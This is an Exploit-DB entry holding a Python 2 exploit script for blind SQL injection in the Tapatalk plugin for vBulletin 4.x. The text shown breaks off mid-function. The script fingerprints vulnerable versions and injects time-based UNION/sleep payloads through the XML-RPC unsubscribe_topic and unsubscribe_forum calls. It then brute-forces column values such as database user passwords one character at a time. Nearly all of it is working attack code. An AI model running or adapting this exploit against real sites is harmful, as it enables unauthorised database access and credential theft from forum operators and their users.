Exploit-DB #35102
Description: Tapatalk for vBulletin 4.x - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-10-28
Author: tintinweb

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, urllib
import xmlrpclib,re, urllib2,string,itertools,time
from distutils.version import LooseVersion


class Exploit(object):
    def __init__(self, target, debug=0 ):
        self.stopwatch_start=time.time()
        self.target = target
        self.path = target
        self.debug=debug
        if not self.target.endswith("mobiquo.php"):
            self.path = self.detect_tapatalk()
            if not self.path:
                raise Exception("Could not detect tapatalk or version not supported!")
        self.rpc_connect()
        self.attack_func = self.attack_2

    def detect_tapatalk(self):
        # request page, check for tapatalk banner
        handlers = [
                    urllib2.HTTPHandler(debuglevel=self.debug),
                    urllib2.HTTPSHandler(debuglevel=self.debug),

                    ]
        ua = urllib2.build_opener(*handlers)
        ua.addheaders = [('User-agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3')]
        data = ua.open(self.target).read()
        if self.debug:
            print data
        if not "tapatalkDetect()" in data:
            print "[xx] could not detect tapatalk. bye..."
            return None
            
        # extract tapatalk version
        print "[ i] Taptalk detected ... ",
        path = "".join(re.findall(r"^\s*<link href=[\s'\"]?(http://.*?/)smartbanner/appbanner.css", data, re.MULTILINE|re.DOTALL))
        path+="mobiquo.php"
        print "'%s' ... "%path,
        data = urllib.urlopen(path).read()
        version = "".join(re.findall(r"Current Tapatalk plugin version:\s*([\d\.a-zA-Z]+)", data))
        if LooseVersion(version) <= LooseVersion("5.2.1"):
            print "v.%s  :) - OK"%version    
            return path
        print "v.%s :( - not vulnerable"%version
        return None
    
    def rpc_connect(self):
        self.rpc = xmlrpclib.ServerProxy(self.path,verbose=self.debug)
        
    def attack_1(self, sqli, sleep=2):
        
        '''
        SELECT subscribethreadid
                    FROM subscribethread AS subscribethread
                    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
                    WHERE subscribethreadid = <INJECTION>
                      AND subscribethreadid.userid = 0";
                      
        <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
        '''
        
        query = "-1 union %s and  (  select sleep(%s)   )  "%(sqli,sleep)
        query += "union select subscribethreadid from subscribethread  where 1=1 OR 1=1"          # fix query for "AND subscribeforum.userid=0"
        
        if self.debug:
            print """  SELECT subscribethreadid
                    FROM subscribethread AS subscribethread
                    LEFT JOIN user AS user ON (user.userid=subscribethread.userid)
                    WHERE subscribethreadid = %s
                      AND subscribethread.userid = 0"""%query
        
        return self.rpc.unsubscribe_topic("s_%s"%query)   #no escape, invalid_char="_"
    
    def attack_2(self, sqli, sleep=2):
        '''
        SELECT subscribeforumid
                    FROM subscribeforum AS subscribeforum
                    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
                    WHERE subscribeforumid = <INJECTION>
                      AND subscribeforum.userid = 0";
                      
        <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
        '''
        
        query = "-1 union %s and  (  select sleep(%s)   )  "%(sqli,sleep)
        query += "union select subscribeforumid from subscribeforum  where 1=1 OR 1=1"          # fix query for "AND subscribeforum.userid=0"
        
        if self.debug:
            print """  SELECT subscribeforumid
                    FROM subscribeforum AS subscribeforum
                    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
                    WHERE subscribeforumid = %s
                      AND subscribeforum.userid = 0"""%query
                      
        return self.rpc.unsubscribe_forum("s_%s"%query)   #no escape, invalid_char="_"
        
    def attack_blind(self,sqli,sleep=2):
        return self.attack_func(sqli,sleep=sleep)
        #return self.attack_func("-1 OR subscribethreadid = ( %s AND (select sleep(4)) )  UNION SELECT 'aaa' FROM subscribethread  WHERE subscribethreadid = -1 OR 1 "%sqli)
        
    def attack_blind_guess(self,query, column, charset=string.ascii_letters+string.digits,maxlength=32, sleep=2, case=True):
        '''
        provide <query> = select -1 from user where user='debian-sys-maint' where <COLUMN> <GUESS>
        '''


        hit = False
        # PHASE 1 - guess entry length
        print "[    ] trying to guess length ..."
        for guess_length in xrange(maxlength+1):
            q = query.replace("<COLUMN>","length(%s)"%column).replace("<GUESS>","= %s"%guess_length)
            
            self.stopwatch()
            self.attack_blind(q, sleep)
            duration = self.stopwatch()
            
            print ".",
            
            if  duration >= sleep-sleep/8:
                # HIT! - got length! => guess_length
                hit = True
                print ""
                break
        
        if not hit:
            print "[ !!] unable to guess password length, check query!"
            return None
        
        
        print "[  *] LENGTH = %s"%guess_length
        
        # PHASE 2 - guess password up to length
        print "[    ] trying to guess value  ..."
        hits = 0
        result = ""
        for pos in xrange(guess_length):
            # for each char pos in up to gues